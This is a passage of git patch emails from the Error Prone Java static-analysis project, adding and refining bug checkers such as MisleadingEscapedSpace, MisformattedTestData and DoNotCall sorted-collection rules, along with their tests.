+ .../bugpatterns/MissingOverrideTest.java | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MissingOverride.java b/core/src/main/java/com/google/errorprone/bugpatterns/MissingOverride.java index 0977a47762d..1b7a853166a 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/MissingOverride.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/MissingOverride.java @@ -67,6 +67,7 @@ public Description matchMethod(MethodTree tree, VisitorState state) { return NO_MATCH; } if (ASTHelpers.isRecord(sym.owner) + && !sym.isConstructor() && sym.getModifiers().contains(Modifier.PUBLIC) && sym.getParameters().isEmpty()) { ImmutableSet components = diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MissingOverrideTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MissingOverrideTest.java index 2618bddfcb7..13ad7ae024c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MissingOverrideTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MissingOverrideTest.java @@ -216,4 +216,23 @@ public int y() { """) .doTest(); } + + @Test + public void explicitRecordAccessor_doesNotFlagConstructors() { + assume().that(Runtime.version().feature()).isAtLeast(16); + + compilationHelper + .addSourceLines( + "Test.java", + """ + public record Test(int x) { + public Test() { + this(1); + } + + public Test {} + } + """) + .doTest(); + } } From a659be5b21e5e77188990c445bd78b5d387db245 Mon Sep 17 00:00:00 2001 From: ghm Date: Mon, 7 Oct 2024 03:25:39 -0700 Subject: [PATCH 07/25] Fix a couple of JCC findings arising in unknown commit. _static_ test fields. Phwoar. Good thing we don't parallelise tests. PiperOrigin-RevId: 683109476 --- .../bugpatterns/IncrementInForLoopAndHeaderTest.java | 10 ++-------- .../errorprone/bugpatterns/ThreadJoinLoopTest.java | 9 ++------- 2 files changed, 4 insertions(+), 15 deletions(-) diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java index 3ebfd20f143..8ee5dd68783 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/IncrementInForLoopAndHeaderTest.java @@ -16,7 +16,6 @@ package com.google.errorprone.bugpatterns; import com.google.errorprone.CompilationTestHelper; -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; @@ -26,13 +25,8 @@ */ @RunWith(JUnit4.class) public class IncrementInForLoopAndHeaderTest { - private static CompilationTestHelper compilationTestHelper; - - @Before - public void setup() { - compilationTestHelper = - CompilationTestHelper.newInstance(IncrementInForLoopAndHeader.class, getClass()); - } + private final CompilationTestHelper compilationTestHelper = + CompilationTestHelper.newInstance(IncrementInForLoopAndHeader.class, getClass()); @Test public void positiveCases() { diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java index f737fee9f56..d7fa779c8da 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ThreadJoinLoopTest.java @@ -18,7 +18,6 @@ import com.google.errorprone.BugCheckerRefactoringTestHelper; import com.google.errorprone.BugCheckerRefactoringTestHelper.TestMode; import com.google.errorprone.CompilationTestHelper; -import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; @@ -29,12 +28,8 @@ @RunWith(JUnit4.class) public class ThreadJoinLoopTest { - private static CompilationTestHelper compilationTestHelper; - - @Before - public void setup() { - compilationTestHelper = CompilationTestHelper.newInstance(ThreadJoinLoop.class, getClass()); - } + private final CompilationTestHelper compilationTestHelper = + CompilationTestHelper.newInstance(ThreadJoinLoop.class, getClass()); @Test public void positiveCases() { From cd6ae3ba2c8352e203bab3e827e309bde3623921 Mon Sep 17 00:00:00 2001 From: cpovirk Date: Mon, 7 Oct 2024 11:46:09 -0700 Subject: [PATCH 08/25] Flag calls to `Sequenced*` insertion APIs on `Sorted*` instances. PiperOrigin-RevId: 683266584 --- .../bugpatterns/DoNotCallChecker.java | 10 +++++++ .../bugpatterns/DoNotCallCheckerTest.java | 26 +++++++++++++++++++ 2 files changed, 36 insertions(+) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/DoNotCallChecker.java b/core/src/main/java/com/google/errorprone/bugpatterns/DoNotCallChecker.java index 552806e15bf..b3512da95e5 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/DoNotCallChecker.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/DoNotCallChecker.java @@ -143,6 +143,16 @@ public class DoNotCallChecker extends BugChecker .put( instanceMethod().onExactClass("java.sql.Time").named("toInstant"), "sqlTime.toInstant() is not supported. Did you mean to call toLocalTime() instead?") + .put( + instanceMethod() + .onDescendantOf("java.util.SortedMap") + .namedAnyOf("putFirst", "putLast"), + "Sorted collections do not support insertions with explicit positioning") + .put( + instanceMethod() + .onDescendantOf("java.util.SortedSet") + .namedAnyOf("addFirst", "addLast"), + "Sorted collections do not support insertions with explicit positioning") .put( instanceMethod() .onExactClass("java.util.concurrent.ThreadLocalRandom") diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/DoNotCallCheckerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/DoNotCallCheckerTest.java index 2e9181bdd6d..bc56b9d8ee2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/DoNotCallCheckerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/DoNotCallCheckerTest.java @@ -16,6 +16,7 @@ package com.google.errorprone.bugpatterns; +import static com.google.common.truth.TruthJUnit.assume; import static org.junit.Assert.assertThrows; import com.google.errorprone.CompilationTestHelper; @@ -516,6 +517,31 @@ public void badApis() { .doTest(); } + @Test + public void sortedCollectionSequencedCollectionMethods() { + assume().that(Runtime.version().feature()).isAtLeast(21); + testHelper + .addSourceLines( + "Test.java", + """ + import java.util.TreeMap; + import java.util.TreeSet; + public class Test { + public void foo(TreeMap map, TreeSet set) { + // BUG: Diagnostic contains: DoNotCall + map.putFirst("foo", "bar"); + // BUG: Diagnostic contains: DoNotCall + map.putLast("foo", "bar"); + // BUG: Diagnostic contains: DoNotCall + set.addFirst("foo"); + // BUG: Diagnostic contains: DoNotCall + set.addLast("foo"); + } + } + """) + .doTest(); + } + @Test public void readLock_newCondition() { assertThrows( From 5f71110374e63f3c35b661f538295fa15b5c1db2 Mon Sep 17 00:00:00 2001 From: ghm Date: Tue, 8 Oct 2024 10:29:13 -0700 Subject: [PATCH 09/25] Add a check to reformat poorly formatted EP tests. PiperOrigin-RevId: 683676067 --- core/pom.xml | 6 + .../bugpatterns/MisformattedTestData.java | 132 ++++++++++++ .../scanner/BuiltInCheckerSuppliers.java | 2 + .../bugpatterns/MisformattedTestDataTest.java | 194 ++++++++++++++++++ 4 files changed, 334 insertions(+) create mode 100644 core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java create mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java diff --git a/core/pom.xml b/core/pom.xml index 41f23273342..40dac702e26 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -68,6 +68,12 @@ ${project.version} test + + + com.google.googlejavaformat + google-java-format + 1.19.1 + org.pcollections diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java b/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java new file mode 100644 index 00000000000..a929c256dbd --- /dev/null +++ b/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java @@ -0,0 +1,132 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.errorprone.BugPattern.SeverityLevel.WARNING; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static com.google.errorprone.matchers.Matchers.anyOf; +import static com.google.errorprone.matchers.method.MethodMatchers.instanceMethod; +import static com.google.errorprone.util.ASTHelpers.getStartPosition; +import static com.google.errorprone.util.ErrorProneTokens.getTokens; +import static com.google.errorprone.util.SourceVersion.supportsTextBlocks; +import static java.util.stream.Collectors.joining; + +import com.google.common.base.Splitter; +import com.google.common.escape.Escaper; +import com.google.common.escape.Escapers; +import com.google.errorprone.BugPattern; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker.MethodInvocationTreeMatcher; +import com.google.errorprone.fixes.SuggestedFix; +import com.google.errorprone.matchers.Description; +import com.google.errorprone.matchers.Matcher; +import com.google.googlejavaformat.java.Formatter; +import com.google.googlejavaformat.java.FormatterException; +import com.sun.source.tree.ExpressionTree; +import com.sun.source.tree.LiteralTree; +import com.sun.source.tree.MethodInvocationTree; +import com.sun.tools.javac.parser.Tokens.TokenKind; + +/** See the summary. */ +@BugPattern( + severity = WARNING, + summary = "This test data will be more readable if correctly formatted.") +public final class MisformattedTestData extends BugChecker implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + // We're not only matching text blocks below, just taking the fact that it's a single literal + // argument containing source code as a sign that it should be formatted in a text block. + if (!supportsTextBlocks(state.context)) { + return NO_MATCH; + } + if (!ADD_SOURCE_CALL.matches(tree, state)) { + return NO_MATCH; + } + if (tree.getArguments().size() != 2) { + return NO_MATCH; + } + var sourceTree = tree.getArguments().get(1); + if (!(sourceTree instanceof LiteralTree)) { + return NO_MATCH; + } + var sourceValue = ((LiteralTree) sourceTree).getValue(); + if (!(sourceValue instanceof String)) { + return NO_MATCH; + } + + Formatter formatter = new Formatter(); + String formattedSource; + try { + formattedSource = formatter.formatSource((String) sourceValue); + } catch (FormatterException exception) { + return NO_MATCH; + } + if (formattedSource.equals(sourceValue)) { + return NO_MATCH; + } + // This is a bit crude: but tokenize between the comma and the 2nd argument in order to work out + // an appropriate indent level for the text block. This is assuming that the source has already + // been formatted so that the arguments are nicely indented. + int startPos = state.getEndPosition(tree.getArguments().get(0)); + int endPos = getStartPosition(tree.getArguments().get(1)); + var tokens = + getTokens( + state.getSourceCode().subSequence(startPos, endPos).toString(), + startPos, + state.context); + var afterCommaPos = + tokens.reverse().stream() + .filter(t -> t.kind().equals(TokenKind.COMMA)) + .findFirst() + .orElseThrow() + .endPos(); + var spaces = + state.getSourceCode().subSequence(afterCommaPos, endPos).toString().replace("\n", ""); + return describeMatch( + sourceTree, + SuggestedFix.replace( + sourceTree, + "\"\"\"\n" + + LINE_SPLITTER + .splitToStream(escape(formattedSource)) + .map(line -> line.isEmpty() ? "" : spaces + line) + .collect(joining("\n")) + + spaces + + "\"\"\"")); + } + + // TODO(ghm): Consider generalising this via an annotation. + private static final Matcher ADD_SOURCE_CALL = + anyOf( + instanceMethod() + .onExactClass("com.google.errorprone.CompilationTestHelper") + .named("addSourceLines"), + instanceMethod() + .onExactClass("com.google.errorprone.BugCheckerRefactoringTestHelper") + .named("addInputLines"), + instanceMethod() + .onExactClass("com.google.errorprone.BugCheckerRefactoringTestHelper") + .named("addOutputLines")); + + private static final Splitter LINE_SPLITTER = Splitter.on('\n'); + + private static String escape(String line) { + return ESCAPER.escape(line).replace("\"\"\"", "\\\"\"\""); + } + + private static final Escaper ESCAPER = Escapers.builder().addEscape('\\', "\\\\").build(); +} diff --git a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java index 7b4c5834598..c373c0575f5 100644 --- a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java +++ b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java @@ -235,6 +235,7 @@ import com.google.errorprone.bugpatterns.MemberName; import com.google.errorprone.bugpatterns.MemoizeConstantVisitorStateLookups; import com.google.errorprone.bugpatterns.MethodCanBeStatic; +import com.google.errorprone.bugpatterns.MisformattedTestData; import com.google.errorprone.bugpatterns.MissingBraces; import com.google.errorprone.bugpatterns.MissingCasesInEnumSwitch; import com.google.errorprone.bugpatterns.MissingDefault; @@ -997,6 +998,7 @@ public static ScannerSupplier warningChecks() { MalformedInlineTag.class, MathAbsoluteNegative.class, MemoizeConstantVisitorStateLookups.class, + MisformattedTestData.class, MissingCasesInEnumSwitch.class, MissingFail.class, MissingImplementsComparable.class, diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java new file mode 100644 index 00000000000..fd0a702173f --- /dev/null +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java @@ -0,0 +1,194 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.common.truth.TruthJUnit.assume; +import static com.google.errorprone.BugCheckerRefactoringTestHelper.TestMode.TEXT_MATCH; + +import com.google.errorprone.BugCheckerRefactoringTestHelper; +import com.google.errorprone.CompilationTestHelper; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public final class MisformattedTestDataTest { + private final CompilationTestHelper compilationHelper = + CompilationTestHelper.newInstance(MisformattedTestData.class, getClass()); + private final BugCheckerRefactoringTestHelper refactoringHelper = + BugCheckerRefactoringTestHelper.newInstance(MisformattedTestData.class, getClass()); + + @Test + public void alreadyFormatted_noFinding() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + compilationHelper + .addSourceLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + int a = 1; + } + } + \"""); + } + } + """) + .doTest(); + } + + @Test + public void misformatted_suggestsFix() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + refactoringHelper + .addInputLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + class Test { + void method() { + int a = + 1; + } + } + \"""); + } + } + """) + .addOutputLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + int a = 1; + } + } + \"""); + } + } + """) + .doTest(TEXT_MATCH); + } + + @Test + public void onlyDiffersByIndentation_notReindented() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + refactoringHelper + .addInputLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + int a = 1; + } + } + ""\"); + } + } + """) + .expectUnchanged() + .doTest(TEXT_MATCH); + } + + @Test + public void escapesSpecialCharacters() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + refactoringHelper + .addInputLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + var foo + = "foo\\\\nbar"; + } + } + \"""); + } + } + """) + .addOutputLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + var foo = "foo\\\\nbar"; + } + } + \"""); + } + } + """) + .doTest(TEXT_MATCH); + } +} From 5145dae95279afbc9ae4f258f0e0b3fef030664a Mon Sep 17 00:00:00 2001 From: agrieve Date: Thu, 10 Oct 2024 06:36:42 -0700 Subject: [PATCH 10/25] Do not treat @JavascriptInterface methods as Unused PiperOrigin-RevId: 684424245 --- .../java/com/google/errorprone/bugpatterns/UnusedMethod.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/UnusedMethod.java b/core/src/main/java/com/google/errorprone/bugpatterns/UnusedMethod.java index a3547881c61..6d46d066aca 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/UnusedMethod.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/UnusedMethod.java @@ -107,6 +107,7 @@ public final class UnusedMethod extends BugChecker implements CompilationUnitTre */ private static final ImmutableSet EXEMPTING_METHOD_ANNOTATIONS = ImmutableSet.of( + "android.webkit.JavascriptInterface", "com.fasterxml.jackson.annotation.JsonCreator", "com.fasterxml.jackson.annotation.JsonProperty", "com.fasterxml.jackson.annotation.JsonSetter", From 1dbcb6ee98c241b1fc44c6047626c89070c88ca3 Mon Sep 17 00:00:00 2001 From: Kurt Alfred Kluever Date: Thu, 10 Oct 2024 14:45:41 -0700 Subject: [PATCH 11/25] Add a test for the broken behavior due to missing grouping parenthesis. PiperOrigin-RevId: 684584755 --- .../bugpatterns/inlineme/InlinerTest.java | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inlineme/InlinerTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inlineme/InlinerTest.java index 983d2f6dd25..4e7084a98d2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inlineme/InlinerTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inlineme/InlinerTest.java @@ -1471,6 +1471,46 @@ public void doTest() { .doTest(); } + @Test + public void math_b308614050() { + refactoringTestHelper + .addInputLines( + "Client.java", + """ + package com.google.foo; + import com.google.errorprone.annotations.InlineMe; + public final class Client { + @InlineMe(replacement = "x * 2") + public static int timesTwo(int x) { + return x * 2; + } + } + """) + .expectUnchanged() + .addInputLines( + "Caller.java", + """ + import com.google.foo.Client; + public final class Caller { + public void doTest() { + long four = Client.timesTwo(1 + 1); + } + } + """) + // This is a bug since it now evaluates to 3, not 4! + .addOutputLines( + "Caller.java", + """ + import com.google.foo.Client; + public final class Caller { + public void doTest() { + long four = 1 + 1 * 2; + } + } + """) + .doTest(); + } + private BugCheckerRefactoringTestHelper bugCheckerWithPrefixFlag(String prefix) { return BugCheckerRefactoringTestHelper.newInstance(Inliner.class, getClass()) .setArgs("-XepOpt:" + PREFIX_FLAG + "=" + prefix); From 78729ffb01d6b022832994066425c158ee7a988f Mon Sep 17 00:00:00 2001 From: ghm Date: Fri, 11 Oct 2024 07:18:45 -0700 Subject: [PATCH 12/25] Add a check discouraging \s, unless it's a sequence of \s terminating a line. What's your view on this being an error? On one hand, it seems sensible to make things errors now, given there's zero adoption, and relax later as needed. PiperOrigin-RevId: 684828665 --- .../bugpatterns/MisleadingEscapedSpace.java | 76 +++++++++++ .../scanner/BuiltInCheckerSuppliers.java | 2 + .../MisleadingEscapedSpaceTest.java | 129 ++++++++++++++++++ docs/bugpattern/MisleadingEscapedSpace.md | 22 +++ 4 files changed, 229 insertions(+) create mode 100644 core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java create mode 100644 core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java create mode 100644 docs/bugpattern/MisleadingEscapedSpace.md diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java b/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java new file mode 100644 index 00000000000..ff26b540ad2 --- /dev/null +++ b/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java @@ -0,0 +1,76 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.errorprone.BugPattern.SeverityLevel.ERROR; +import static com.google.errorprone.matchers.Description.NO_MATCH; +import static com.google.errorprone.util.SourceVersion.supportsTextBlocks; + +import com.google.errorprone.BugPattern; +import com.google.errorprone.VisitorState; +import com.google.errorprone.bugpatterns.BugChecker.LiteralTreeMatcher; +import com.google.errorprone.matchers.Description; +import com.sun.source.tree.LiteralTree; + +/** See the summary. */ +@BugPattern( + summary = + "Using \\s anywhere except at the end of a line in a text block is potentially misleading.", + severity = ERROR) +public final class MisleadingEscapedSpace extends BugChecker implements LiteralTreeMatcher { + @Override + public Description matchLiteral(LiteralTree tree, VisitorState state) { + if (!supportsTextBlocks(state.context)) { + return NO_MATCH; + } + if (tree.getValue() instanceof Character) { + if (tree.getValue().equals(' ') && state.getSourceForNode(tree).equals("'\\s'")) { + return describeMatch(tree); + } + } + if (tree.getValue() instanceof String) { + // Fast path out and avoid scanning through source code if there are simply no spaces in the + // literal. + String value = (String) tree.getValue(); + if (!value.contains(" ")) { + return NO_MATCH; + } + String source = state.getSourceForNode(tree); + boolean seenEscape = false; + for (int i = 0; i < source.length(); ++i) { + switch (source.charAt(i)) { + case '\n': + seenEscape = false; + break; + case '\\': + i++; + if (source.charAt(i) == 's') { + seenEscape = true; + break; + } + // fall through + default: + if (seenEscape) { + return describeMatch(tree); + } + break; + } + } + } + return NO_MATCH; + } +} diff --git a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java index c373c0575f5..63501d2466b 100644 --- a/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java +++ b/core/src/main/java/com/google/errorprone/scanner/BuiltInCheckerSuppliers.java @@ -236,6 +236,7 @@ import com.google.errorprone.bugpatterns.MemoizeConstantVisitorStateLookups; import com.google.errorprone.bugpatterns.MethodCanBeStatic; import com.google.errorprone.bugpatterns.MisformattedTestData; +import com.google.errorprone.bugpatterns.MisleadingEscapedSpace; import com.google.errorprone.bugpatterns.MissingBraces; import com.google.errorprone.bugpatterns.MissingCasesInEnumSwitch; import com.google.errorprone.bugpatterns.MissingDefault; @@ -767,6 +768,7 @@ public static ScannerSupplier warningChecks() { LossyPrimitiveCompare.class, MathRoundIntLong.class, MislabeledAndroidString.class, + MisleadingEscapedSpace.class, MisplacedScopeAnnotations.class, MissingSuperCall.class, MissingTestCall.class, diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java new file mode 100644 index 00000000000..808edea9e61 --- /dev/null +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpaceTest.java @@ -0,0 +1,129 @@ +/* + * Copyright 2024 The Error Prone Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.errorprone.bugpatterns; + +import static com.google.common.truth.TruthJUnit.assume; + +import com.google.errorprone.CompilationTestHelper; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +@RunWith(JUnit4.class) +public final class MisleadingEscapedSpaceTest { + private final CompilationTestHelper testHelper = + CompilationTestHelper.newInstance(MisleadingEscapedSpace.class, getClass()); + + @Test + public void misleadingEscape() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + // BUG: Diagnostic contains: + private static final String FOO = " \\s "; + }""") + .doTest(); + } + + @Test + public void literalBackslashS() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + private static final String FOO = " \\\\s "; + }""") + .doTest(); + } + + @Test + public void asSingleCharacter_misleading() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + // BUG: Diagnostic contains: + private static final char x = '\\s'; + }""") + .doTest(); + } + + @Test + public void withinTextBlock_notAtEndOfLine_misleading() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + // BUG: Diagnostic contains: + private static final String FOO = \""" + foo \\s bar + \"""; + // BUG: Diagnostic contains: + private static final String BAZ = \""" + foo \\s + bar \\s baz + \"""; + }""") + .doTest(); + } + + @Test + public void atEndOfLine_notMisleading() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + private static final String FOO = \""" + foo \\s + bar \\s + \"""; + }""") + .doTest(); + } + + @Test + public void multipleAtEndOfLine_notMisleading() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + testHelper + .addSourceLines( + "Test.class", + """ + class Test { + private static final String FOO = \""" + foo \\s\\s\\s\\s + \"""; + }""") + .doTest(); + } +} diff --git a/docs/bugpattern/MisleadingEscapedSpace.md b/docs/bugpattern/MisleadingEscapedSpace.md new file mode 100644 index 00000000000..b22382df244 --- /dev/null +++ b/docs/bugpattern/MisleadingEscapedSpace.md @@ -0,0 +1,22 @@ +When Java introduced text blocks as a feature, it also introduced a new string +escape sequence `\s`. This escape sequence is another way to write a normal +space, but it has the advantage that it can be used at the end of a line in a +text block, where a normal space would be stripped. + +This new escape sequence can easily be confused with the regex `\s`, which is a +metacharacter that matches any kind of whitespace character. To write that +metacharacter in a Java string, you must still write `\\s`: an escaped backslash +followed by an `s`. + +There is little reason to ever write the Java escape `\s` except at the end of a +line. Either use a normal space, or switch to `\\s` if you are trying to write +the regex metacharacter. + +```java +// Each line here is five characters long. +String colors = """ + one \s + two \s + three + """; +``` From 2bebaf2dfbf6e18d09e6bcdb9fcf59626908688a Mon Sep 17 00:00:00 2001 From: ghm Date: Fri, 11 Oct 2024 09:19:22 -0700 Subject: [PATCH 13/25] Don't quibble over trailing newlines. PiperOrigin-RevId: 684860035 --- .../bugpatterns/MisformattedTestData.java | 2 +- .../bugpatterns/MisformattedTestDataTest.java | 28 +++++++++++++++++++ 2 files changed, 29 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java b/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java index a929c256dbd..403771a5d31 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java +++ b/core/src/main/java/com/google/errorprone/bugpatterns/MisformattedTestData.java @@ -75,7 +75,7 @@ public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState } catch (FormatterException exception) { return NO_MATCH; } - if (formattedSource.equals(sourceValue)) { + if (formattedSource.trim().equals(((String) sourceValue).trim())) { return NO_MATCH; } // This is a bit crude: but tokenize between the comma and the 2nd argument in order to work out diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java index fd0a702173f..e11c1542aae 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/MisformattedTestDataTest.java @@ -61,6 +61,34 @@ void method() { .doTest(); } + @Test + public void onlyDiffersByFinalNewline_noFinding() { + assume().that(Runtime.version().feature()).isAtLeast(14); + + compilationHelper + .addSourceLines( + "Test.java", + """ + import com.google.errorprone.BugCheckerRefactoringTestHelper; + + class Test { + void method(BugCheckerRefactoringTestHelper h) { + h.addInputLines( + "Test.java", + \""" + package foo; + + class Test { + void method() { + int a = 1; + } + }\"""); + } + } + """) + .doTest(); + } + @Test public void misformatted_suggestsFix() { assume().that(Runtime.version().feature()).isAtLeast(14); From 46ac925561c386e2fe8305cb960b65b08033374c Mon Sep 17 00:00:00 2001 From: ghm Date: Mon, 14 Oct 2024 08:45:24 -0700 Subject: [PATCH 14/25] MisleadingEscapedSpace: tokenize so that we don't complain about comments. PiperOrigin-RevId: 685720735 --- .../bugpatterns/MisleadingEscapedSpace.java | 20 ++++++++++++++++--- .../MisleadingEscapedSpaceTest.java | 14 +++++++++++++ 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java b/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java index ff26b540ad2..800d30f98ab 100644 --- a/core/src/main/java/com/google/errorprone/bugpatterns/MisleadingEscapedSpace.java +++ 